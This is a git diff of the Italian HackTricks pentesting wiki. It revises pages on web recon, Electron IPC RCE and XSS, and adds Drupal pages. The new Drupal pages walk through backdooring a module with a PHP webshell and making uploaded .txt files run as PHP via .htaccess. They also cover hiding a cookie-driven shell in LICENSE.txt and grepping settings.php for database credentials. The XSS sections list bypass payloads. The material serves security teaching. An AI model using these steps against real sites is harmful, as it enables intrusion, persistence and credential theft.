[**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +* Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare a quali API la chiave può accedere. * **Bucket S3**: Durante lo spidering, controlla se qualche **sottodominio** o qualche **link** è collegato a un **bucket S3**. In tal caso, [**controlla** i **permessi** del bucket](buckets/). ### Scoperte speciali @@ -330,13 +330,13 @@ Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy mal **Autenticazione NTLM - Divulgazione informazioni** Se il server in esecuzione che richiede l'autenticazione è **Windows** o trovi un login che chiede le tue **credenziali** (e chiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\ -**Invia** l'intestazione: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\ +**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa del funzionamento dell'**autenticazione NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_". **Reindirizzamento HTTP (CTF)** È possibile **inserire contenuti** all'interno di un **reindirizzamento**. Questo contenuto **non verrà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento), ma potrebbe essere **nascosto** al suo interno. -### Verifica delle Vulnerabilità Web +### Controllo delle Vulnerabilità Web Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui: @@ -354,9 +354,9 @@ Trova ulteriori informazioni sulle vulnerabilità web in: Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per le modifiche che potrebbero inserire vulnerabilità. -
+
-Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritto e parlato_). +Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} @@ -438,8 +438,8 @@ Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. diff --git a/network-services-pentesting/pentesting-web/drupal/README.md b/network-services-pentesting/pentesting-web/drupal/README.md new file mode 100644 index 000000000..0694cf42b --- /dev/null +++ b/network-services-pentesting/pentesting-web/drupal/README.md @@ -0,0 +1,134 @@ +# Drupal + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +
+ +{% embed url="https://websec.nl/" %} + +## Discovery + +* Controlla **meta** +```bash +curl https://www.drupal.org/ | grep 'content="Drupal' +``` +* **Nodo**: Drupal **indicizza i suoi contenuti utilizzando nodi**. Un nodo può **contenere qualsiasi cosa** come un post di blog, un sondaggio, un articolo, ecc. Gli URI delle pagine sono di solito della forma `/node/`. +```bash +curl drupal-site.com/node/1 +``` +## Enumerazione + +Drupal supporta **tre tipi di utenti** di default: + +1. **`Amministratore`**: Questo utente ha il controllo completo sul sito web di Drupal. +2. **`Utente Autenticato`**: Questi utenti possono accedere al sito web e svolgere operazioni come aggiungere e modificare articoli in base ai loro permessi. +3. **`Anonimo`**: Tutti i visitatori del sito web sono designati come anonimi. Di default, a questi utenti è consentito solo leggere i post. + +### Versione + +* Controlla `/CHANGELOG.txt` +```bash +curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 "" + +Drupal 7.57, 2018-02-21 +``` +{% hint style="info" %} +Le installazioni più recenti di Drupal di default bloccano l'accesso ai file `CHANGELOG.txt` e `README.txt`. +{% endhint %} + +### Enumerazione degli username + +#### Registrazione + +In _/user/register_ prova semplicemente a creare un username e se il nome è già stato preso verrai notificato: + +![](<../../../.gitbook/assets/image (328).png>) + +#### Richiesta di nuova password + +Se richiedi una nuova password per un username esistente: + +![](<../../../.gitbook/assets/image (903).png>) + +Se richiedi una nuova password per un username inesistente: + +![](<../../../.gitbook/assets/image (307).png>) + +### Ottenere il numero di utenti + +Accedendo a _/user/\_ puoi vedere il numero di utenti esistenti, in questo caso sono 2 poiché _/users/3_ restituisce un errore non trovato: + +![](<../../../.gitbook/assets/image (333).png>) + +![](<../../../.gitbook/assets/image (227) (1) (1) (1).png>) + +### Pagine nascoste + +**Fuzz `/node/$` dove `$` è un numero** (da 1 a 500 per esempio).\ +Potresti trovare **pagine nascoste** (test, dev) che non sono referenziate dai motori di ricerca. + +#### Informazioni sui moduli installati +```bash +#From https://twitter.com/intigriti/status/1439192489093644292/photo/1 +#Get info on installed modules +curl https://example.com/config/sync/core.extension.yml +curl https://example.com/core/core.services.yml + +# Download content from files exposed in the previous step +curl https://example.com/config/sync/swiftmailer.transport.yml +``` +### Automatico +```bash +droopescan scan drupal -u http://drupal-site.local +``` +## RCE + +Se hai accesso alla console web di Drupal, controlla queste opzioni per ottenere RCE: + +{% content-ref url="drupal-rce.md" %} +[drupal-rce.md](drupal-rce.md) +{% endcontent-ref %} + +## Post Esploitation + +### Leggi settings.php +``` +find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null +``` +### Estrarre gli utenti dal database +``` +mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' +``` +## Riferimenti + +* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209) + +
+ +{% embed url="https://websec.nl/" %} + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. + +
diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md new file mode 100644 index 000000000..e7af6242f --- /dev/null +++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -0,0 +1,269 @@ +# Drupal RCE + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Con il Modulo PHP Filter + +{% hint style="warning" %} +Nelle versioni precedenti di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/frammenti PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita. +{% endhint %} + +È necessario che il **plugin php sia installato** (verifica accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**) + +Vai su _Moduli_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_ + +![](<../../../.gitbook/assets/image (247) (1).png>) + +Quindi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina di base_ o _Articolo_ -> Scrivi _shellcode php nel corpo_ -> Seleziona _Codice PHP_ in _Formato testo_ -> Seleziona _Anteprima_ + +![](<../../../.gitbook/assets/image (338).png>) + +Infine accedi semplicemente al nodo appena creato: +```bash +curl http://drupal-site.local/node/3 +``` +## Installare il Modulo Filtro PHP + +{% hint style="warning" %} +Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita. +{% endhint %} + +Dalla versione **8 in poi, il** [**modulo Filtro PHP**](https://www.drupal.org/project/php/releases/8.x-1.1) **non è più installato per impostazione predefinita**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**. + +1. Scaricare la versione più recente del modulo dal sito web di Drupal. +1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz +2. Una volta scaricato, andare su **`Amministrazione`** > **`Report`** > **`Aggiornamenti disponibili`**. +3. Fare clic su **`Sfoglia`**, selezionare il file dalla directory in cui lo abbiamo scaricato e poi fare clic su **`Installa`**. +4. Una volta installato il modulo, possiamo fare clic su **`Contenuto`** e **creare una nuova pagina di base**, simile a quanto fatto nell'esempio di Drupal 7. Di nuovo, assicurarsi di **selezionare `Codice PHP` dal menu a discesa `Formato testo`**. + +## Modulo con Backdoor + +{% hint style="warning" %} +Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita. +{% endhint %} + +Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'**archivio tar.gz** [archivio](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). + +* Scaricare l'archivio ed estrarne i contenuti. +``` +wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz +tar xvf captcha-8.x-1.2.tar.gz +``` +* Creare una **shell web PHP** con il contenuto: +```php + +``` +* Successivamente, dobbiamo creare un file **`.htaccess`** per darci accesso alla cartella. Questo è necessario poiché Drupal nega l'accesso diretto alla cartella **`/modules`**. +```html + +RewriteEngine On +RewriteBase / + +``` +* La configurazione sopra applicherà le regole per la cartella / quando richiediamo un file in /modules. Copia entrambi questi file nella cartella captcha e crea un archivio. +```bash +mv shell.php .htaccess captcha +tar cvf captcha.tar.gz captcha/ +``` +* Presumendo di avere **accesso amministrativo** al sito web, fare clic su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, fare clic sul pulsante **`+ Installa nuovo modulo`**, e saremo portati alla pagina di installazione, come ad esempio `http://sito-drupal.locale/admin/moduli/installa`. Navigare nell'archivio Captcha backdoored e fare clic su **`Installa`**. +* Una volta completata l'installazione, navigare a **`/moduli/captcha/shell.php`** per eseguire comandi. + +## Backdooring Drupal con la sincronizzazione della configurazione + +**Post condiviso da** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) + +### Parte 1 (attivazione di _Media_ e _Media Library_) + +Nel menu _Estendi_ (/admin/moduli), è possibile attivare ciò che sembrano essere plugin già installati. Di default, i plugin _Media_ e _Media Library_ non sembrano essere attivati, quindi attiviamoli. + +Prima dell'attivazione: + +
+ +Dopo l'attivazione: + +
+ +
+ +### Parte 2 (sfruttare la funzionalità _Sincronizzazione della configurazione_) + +Sfrutteremo la funzionalità _Sincronizzazione della configurazione_ per esportare e importare voci di configurazione di Drupal: + +* /admin/config/development/configuration/single/export +* /admin/config/development/configuration/single/import + +**Patch system.file.yml** + +Iniziamo applicando la patch alla prima voce `allow_insecure_uploads` da: + +File: system.file.yml +``` + +... + +allow_insecure_uploads: false + +... + +``` +
+ +A: + +File: system.file.yml +``` + +... + +allow_insecure_uploads: true + +... + +``` +
+ +**Applica la patch al campo field.field.media.document.field\_media\_document.yml** + +Successivamente, applica la patch alla seconda voce `file_extensions` da: + +File: field.field.media.document.field\_media\_document.yml +``` + +... + +file_directory: '[date:custom:Y]-[date:custom:m]' +file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' + +... +``` +
+ +A: + +File: field.field.media.document.field\_media\_document.yml +``` +... + +file_directory: '[date:custom:Y]-[date:custom:m]' +file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages' + +... + +``` +> Non lo uso in questo post del blog ma è noto che è possibile definire l'ingresso `file_directory` in modo arbitrario ed è vulnerabile a un attacco di attraversamento del percorso (quindi possiamo tornare indietro all'interno dell'albero del filesystem di Drupal). + +
+ +### Parte 3 (sfruttando la funzionalità _Aggiungi documento_) + +L'ultimo passo è il più semplice, ed è suddiviso in due sotto-passaggi. Il primo consiste nel caricare un file in formato .htaccess per sfruttare le direttive di Apache e consentire ai file .txt di essere interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload. + +File: .htaccess +``` + +SetHandler application/x-httpd-php + + +# Vroum! Vroum! +# We reactivate PHP engines for all versions in order to be targetless. + +php_flag engine on + + +php_flag engine on + + +php_flag engine on + +``` +Perché è figo questo trucco? + +Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite `$_COOKIE` e nei log del server Web, questo verrà visualizzato come una richiesta GET legittima a un file di testo. + +Perché chiamare il nostro Webshell LICENSE.txt? + +Semplicemente perché se prendiamo il seguente file, ad esempio [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (che è già presente nel core di Drupal), abbiamo un file di 339 righe e 17,6 KB di dimensioni, perfetto per aggiungere un piccolo snippet di codice PHP in mezzo (dato che il file è abbastanza grande). + +
+ +File: LICENSE.txt Patchato +```txt + +... + +this License, you may choose any version ever published by the Free Software +Foundation. + + + +10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author + +... + +``` +#### **Parte 3.1 (caricamento file .htaccess)** + +Innanzitutto, sfruttiamo la funzionalità _Aggiungi documento_ (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess). + +
+ +
+ +
+ +**Parte 3.2 (caricamento file LICENSE.txt)** + +Successivamente, sfruttiamo nuovamente la funzionalità _Aggiungi documento_ (/media/add/document) per caricare un Webshell nascosto all'interno di un file di licenza. + +
+ +
+ +
+ +### Parte 4 (interazione con il Webshell) + +L'ultima parte consiste nell'interagire con il Webshell. + +Come mostrato nello screenshot seguente, se il cookie atteso dal nostro Webshell non è definito, otteniamo il risultato successivo quando consultiamo il file tramite un browser Web. + +
+ +Quando l'attaccante imposta il cookie, può interagire con il Webshell ed eseguire qualsiasi comando desideri. + +
+ +E come puoi vedere nei log, sembra che sia stato richiesto solo un file txt. + +
+ +Grazie per aver dedicato del tempo a leggere questo articolo, spero che ti aiuti a ottenere delle shell. diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 9c888b8e3..9938e47d7 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -1,20 +1,20 @@ -# RCE Electron tramite contextIsolation via IPC +# Electron contextIsolation RCE via IPC
-Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: -* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
-Se lo script di caricamento anticipato espone un endpoint IPC dal file main.js, il processo di rendering sarà in grado di accedervi e se vulnerabile, potrebbe essere possibile un RCE. +Se lo script di caricamento iniziale espone un endpoint IPC dal file main.js, il processo di rendering sarà in grado di accedervi e, se vulnerabile, potrebbe essere possibile un RCE. **La maggior parte di questi esempi sono stati presi da qui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Controlla il video per ulteriori informazioni. @@ -22,7 +22,7 @@ Se lo script di caricamento anticipato espone un endpoint IPC dal file main.js, Esempio da [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (hai l'esempio completo di come MS Teams è stato abusato da XSS a RCE in quelle diapositive, questo è solo un esempio molto basilare): -
+
## Esempio 1 @@ -77,7 +77,7 @@ window.electronSend = (event, data) => { ipcRenderer.send(event, data); }; ``` -Sfruttare: +**Sfruttare:** ```html ``` -### **Rubare il token e inviarlo utilizzando 2 iframe** +### **Rubare il token e inviarlo usando 2 iframe** ```html ` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`. -### Escaping del tag \` potresti facilmente **escapare chiudendo il tag `` potresti facilmente **evitare la chiusura del tag ` ``` -Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale si occupa di identificare gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente. +Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente. ### All'interno del codice JS @@ -487,10 +483,10 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +### Template letterali \`\` -Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\ -Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**: +Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche gli **accenti gravi** **` `` `**. Questo è noto come template letterali poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\ +Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza gli accenti gravi, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**: Questo può essere **abusato** utilizzando: ```javascript @@ -516,7 +512,7 @@ loop`````````````` \u0061lert(1) \u{0061}lert(1) ``` -### Tecniche di bypass delle blacklist di JavaScript +### Tecniche di bypass JavaScript delle blacklist **Stringhe** ```javascript @@ -549,7 +545,7 @@ eval(8680439..toString(30))(983801..toString(36)) '\t' //tab // Any other char escaped is just itself ``` -**Sostituzioni di spazi all'interno del codice JS** +**Sostituzioni degli spazi all'interno del codice JS** ```javascript /**/ @@ -562,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)** +**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -732,23 +728,23 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ```` -## **Vulnerabilità DOM** +## **Vulnerabilità del DOM** -C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.\ -**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata su questa pagina**](dom-xss.md)**:** +C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\ +**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} -Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\ +Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\ Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering). ## Altri Bypass ### Unicode Normalizzato -Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per aggirare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting). +Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL ```javascript @@ -767,7 +763,7 @@ La coppia "Chiave","Valore" verrà ripetuta così: ``` ### Combinazioni speciali -Successivamente, verrà inserito l'attributo onfocus e si verificherà XSS. +Successivamente, l'attributo onfocus verrà inserito e si verificherà XSS. ```markup